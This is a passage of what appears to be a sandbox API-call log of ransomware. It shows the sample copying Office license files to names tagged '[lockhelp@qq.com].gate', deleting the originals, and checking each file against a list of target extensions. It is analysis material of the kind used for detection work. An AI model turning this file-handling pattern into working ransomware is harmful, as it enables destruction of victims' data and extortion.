[0317.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0317.077] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.077] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0317.077] GetLastError () returned 0x0 [0317.077] ReadFile (in: hFile=0x4c0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x2d65, lpOverlapped=0x0) returned 1 [0317.145] WriteFile (in: hFile=0x52c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0317.146] ReadFile (in: hFile=0x4c0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0317.146] WriteFile (in: hFile=0x52c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0317.146] SetEndOfFile (hFile=0x52c) returned 1 [0317.146] CloseHandle (hObject=0x52c) returned 1 [0317.146] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.146] SetEndOfFile (hFile=0x4c0) returned 1 [0317.194] CloseHandle (hObject=0x4c0) returned 1 [0317.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.194] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 1 [0317.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0317.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0317.195] lstrlenW (lpString=".doc") returned 4 [0317.195] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.195] lstrlenW (lpString=".docx") returned 5 [0317.195] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.195] lstrlenW (lpString=".pdf") returned 4 [0317.195] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.195] lstrlenW (lpString=".xls") returned 4 [0317.195] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.195] lstrlenW (lpString=".xlsx") returned 5 [0317.195] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.195] lstrlenW (lpString=".ppt") returned 4 [0317.195] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0317.195] lstrlenW (lpString=".zip") returned 4 [0317.195] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.195] lstrlenW (lpString=".rar") returned 4 [0317.195] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.195] lstrlenW (lpString=".bz2") returned 4 [0317.195] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.195] lstrlenW (lpString=".7z") returned 3 [0317.195] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0317.195] lstrlenW (lpString=".dbf") returned 4 [0317.195] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0317.195] lstrlenW (lpString=".1cd") returned 4 [0317.195] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0317.195] lstrlenW (lpString=".jpg") returned 4 [0317.195] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.196] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=10655) returned 1 [0317.196] CloseHandle (hObject=0x4c0) returned 1 [0317.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 0x220 [0317.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0317.197] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.197] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0317.197] GetLastError () returned 0x0 [0317.197] ReadFile (in: hFile=0x4c0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x299f, lpOverlapped=0x0) returned 1 [0317.225] WriteFile (in: hFile=0x4f4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x29a0, lpOverlapped=0x0) returned 1 [0317.226] ReadFile (in: hFile=0x4c0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0317.226] WriteFile (in: hFile=0x4f4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x110, lpOverlapped=0x0) returned 1 [0317.226] SetEndOfFile (hFile=0x4f4) returned 1 [0317.226] CloseHandle (hObject=0x4f4) returned 1 [0317.226] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.226] SetEndOfFile (hFile=0x4c0) returned 1 [0317.228] CloseHandle (hObject=0x4c0) returned 1 [0317.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 1 [0317.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0317.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0317.230] lstrlenW (lpString=".doc") returned 4 [0317.230] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.230] lstrlenW (lpString=".docx") returned 5 [0317.230] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.231] lstrlenW (lpString=".pdf") returned 4 [0317.231] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.231] lstrlenW (lpString=".xls") returned 4 [0317.231] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.231] lstrlenW (lpString=".xlsx") returned 5 [0317.231] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.231] lstrlenW (lpString=".ppt") returned 4 [0317.231] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0317.231] lstrlenW (lpString=".zip") returned 4 [0317.231] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.231] lstrlenW (lpString=".rar") returned 4 [0317.231] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.231] lstrlenW (lpString=".bz2") returned 4 [0317.231] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.231] lstrlenW (lpString=".7z") returned 3 [0317.231] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0317.231] lstrlenW (lpString=".dbf") returned 4 [0317.231] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0317.231] lstrlenW (lpString=".1cd") returned 4 [0317.231] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0317.231] lstrlenW (lpString=".jpg") returned 4 [0317.231] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.232] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=19954) returned 1 [0317.232] CloseHandle (hObject=0x4c0) returned 1 [0317.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 0x220 [0317.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0317.233] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.233] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0317.233] GetLastError () returned 0x0 [0317.233] ReadFile (in: hFile=0x4c0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x4df2, lpOverlapped=0x0) returned 1 [0317.245] WriteFile (in: hFile=0x4f4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x4e00, lpOverlapped=0x0) returned 1 [0317.246] ReadFile (in: hFile=0x4c0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0317.246] WriteFile (in: hFile=0x4f4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x118, lpOverlapped=0x0) returned 1 [0317.246] SetEndOfFile (hFile=0x4f4) returned 1 [0317.252] CloseHandle (hObject=0x4f4) returned 1 [0317.364] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.364] SetEndOfFile (hFile=0x4c0) returned 1 [0317.432] CloseHandle (hObject=0x4c0) returned 1 [0317.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 1 [0317.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0317.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0317.462] lstrlenW (lpString=".doc") returned 4 [0317.462] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.462] lstrlenW (lpString=".docx") returned 5 [0317.462] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.462] lstrlenW (lpString=".pdf") returned 4 [0317.462] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.463] lstrlenW (lpString=".xls") returned 4 [0317.463] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.463] lstrlenW (lpString=".xlsx") returned 5 [0317.463] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.463] lstrlenW (lpString=".ppt") returned 4 [0317.463] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0317.463] lstrlenW (lpString=".zip") returned 4 [0317.463] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.463] lstrlenW (lpString=".rar") returned 4 [0317.463] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.463] lstrlenW (lpString=".bz2") returned 4 [0317.463] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.463] lstrlenW (lpString=".7z") returned 3 [0317.463] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0317.463] lstrlenW (lpString=".dbf") returned 4 [0317.463] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0317.463] lstrlenW (lpString=".1cd") returned 4 [0317.463] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0317.463] lstrlenW (lpString=".jpg") returned 4 [0317.463] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.604] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=22092) returned 1 [0317.604] CloseHandle (hObject=0x564) returned 1 [0317.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 0x220 [0317.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0317.642] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.642] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0317.643] GetLastError () returned 0x0 [0317.643] ReadFile (in: hFile=0x414, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x564c, lpOverlapped=0x0) returned 1 [0317.858] WriteFile (in: hFile=0x498, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x5650, lpOverlapped=0x0) returned 1 [0317.859] ReadFile (in: hFile=0x414, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0317.859] WriteFile (in: hFile=0x498, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x114, lpOverlapped=0x0) returned 1 [0317.859] SetEndOfFile (hFile=0x498) returned 1 [0317.859] CloseHandle (hObject=0x498) returned 1 [0317.859] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.859] SetEndOfFile (hFile=0x414) returned 1 [0317.861] CloseHandle (hObject=0x414) returned 1 [0317.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 1 [0317.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0317.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0317.862] lstrlenW (lpString=".doc") returned 4 [0317.862] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.862] lstrlenW (lpString=".docx") returned 5 [0317.863] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.863] lstrlenW (lpString=".pdf") returned 4 [0317.863] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.863] lstrlenW (lpString=".xls") returned 4 [0317.863] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.863] lstrlenW (lpString=".xlsx") returned 5 [0317.863] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.863] lstrlenW (lpString=".ppt") returned 4 [0317.863] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0317.863] lstrlenW (lpString=".zip") returned 4 [0317.863] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.863] lstrlenW (lpString=".rar") returned 4 [0317.863] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.863] lstrlenW (lpString=".bz2") returned 4 [0317.863] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.863] lstrlenW (lpString=".7z") returned 3 [0317.863] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0317.863] lstrlenW (lpString=".dbf") returned 4 [0317.863] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0317.863] lstrlenW (lpString=".1cd") returned 4 [0317.863] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0317.863] lstrlenW (lpString=".jpg") returned 4 [0317.863] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.864] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=22215) returned 1 [0317.864] CloseHandle (hObject=0x414) returned 1 [0317.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 0x220 [0317.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0317.864] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.864] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0317.865] GetLastError () returned 0x0 [0317.865] ReadFile (in: hFile=0x414, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, 